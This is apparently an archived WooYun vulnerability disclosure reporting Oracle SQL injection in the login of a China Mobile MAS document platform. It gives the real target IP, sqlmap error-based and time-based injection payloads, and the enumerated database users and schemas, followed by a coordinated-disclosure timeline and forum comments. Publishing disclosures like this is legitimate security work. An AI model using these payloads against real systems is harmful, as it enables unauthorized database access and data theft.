当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119112

漏洞标题：中国移动MAS服务平台Oracle注入

相关厂商：中国移动

漏洞作者： 超威蓝猫

提交时间：2015-06-08 21:29

修复时间：2015-07-27 10:34

公开时间：2015-07-27 10:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-08： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开

简要描述：

高考结束啦) 中国移动MAS服务平台Oracle注入

详细说明：

IP: 218.206.191.49 (之前发的 http://wooyun.org/bugs/wooyun-2015-0117816 中提到的 http://si.power.10086.cn 也在同一个C段 218.206.191.27 这个C段还有很多问题，后续会发)

sshot-2015-06-08-[1].png


MAS登录 http://218.206.191.49/MasAutoTest
8001端口有个废弃的文档资料平台 http://218.206.191.49:8001 登录处存在SQL注射

sshot-2015-06-08-[2].png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: userCode (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: userCode=admin' AND 6302=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (6302=6302) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'QtMX'='QtMX&userPassword=admin&x=32&y=7
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: userCode=admin' AND 2351=DBMS_PIPE.RECEIVE_MESSAGE(CHR(85)||CHR(101)||CHR(77)||CHR(105),5) AND 'AjeD'='AjeD&userPassword=admin&x=32&y=7
---
back-end DBMS: Oracle
current user:    'IKM'
current schema (equivalent to database on Oracle):    'IKM'
database management system users [28]:
[*] AIUAP
[*] BOMCUSER
[*] DBSNMP
[*] EXPDB
[*] EXPFULL
[*] IKM
[*] IKM_NEW
[*] IMPDB
[*] ISMPCFG
[*] ITMUSER
[*] MASADM
[*] OUTLN
[*] PERFSTAT
[*] QIUWJ
[*] RMAN
[*] SYS
[*] SYSMAS
[*] SYSTEM
[*] TEST
[*] TESTMAS
[*] WATCH_MAS
[*] WEBMEETING
[*] WENZW
[*] WMSYS
[*] YP
[*] YUANPU
[*] ZHANGYIN
[*] ZJKFZC
available databases [11]:
[*] IKM
[*] ISMPCFG
[*] OUTLN
[*] PERFSTAT
[*] RMAN
[*] SYS
[*] SYSTEM
[*] TEST
[*] WEBMEETING
[*] WMSYS
[*] ZJKFZC

漏洞证明：

如上

修复方案：

高考结束啦

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-12 10:33

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-08 21:29 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    考到清华了么

  2. 2015-06-08 21:33 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @xsser 目测要跪

  3. 2015-06-08 21:54 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    考完试了啊楼主

  4. 2015-06-08 22:00 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @李旭敏 你说的对._.

  5. 2015-06-08 22:18 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    复读不可能 一本线高一点吗？

  6. 2015-06-08 22:29 | 超威蓝猫 ( 核心白帽子 | Rank:1092 漏洞数:117 | STEAM_0:0:55968383)

    @scanf 目测只能比一本线高60了

  7. 2015-06-08 23:59 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    不止一点了 羡慕嫉妒恨

  8. 2015-06-23 14:43 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    我还以为mas，原来是知识库